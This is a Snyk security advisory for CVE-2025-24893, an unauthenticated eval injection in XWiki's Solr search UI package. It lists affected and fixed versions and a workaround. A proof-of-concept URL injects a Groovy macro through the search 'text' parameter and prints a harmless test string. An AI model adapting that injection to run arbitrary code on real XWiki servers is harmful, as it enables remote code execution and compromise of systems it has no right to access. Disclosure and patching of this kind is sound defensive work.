Eval Injection Affecting org.xwiki.platform:xwiki-platform-search-solr-ui package, versions [5.3-milestone-2,15.10.11)[16.0.0-rc-1,16.4.1)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-8739631
  • published21 Feb 2025
  • disclosed20 Feb 2025
  • creditJohn Kwak

Introduced: 20 Feb 2025

NewCVE-2025-24893  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-search-solr-ui to version 15.10.11, 16.4.1 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection via the SolrSearch process. An attacker can execute arbitrary code on the server by sending a crafted request to the vulnerable endpoint.

Workaround

This vulnerability can be mitigated by editing Main.SolrSearchMacros in SolrSearchMacros.xml here to match the rawResponse macro in macros.vm#L2824 with a content type of application/xml, instead of simply outputting the content of the feed.

PoC

Without being logged in, go to

<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

If there is an output, and the title of the RSS feed contains Hello from search text:42, then the instance is vulnerable.

CVSS Scores

version 4.0
version 3.1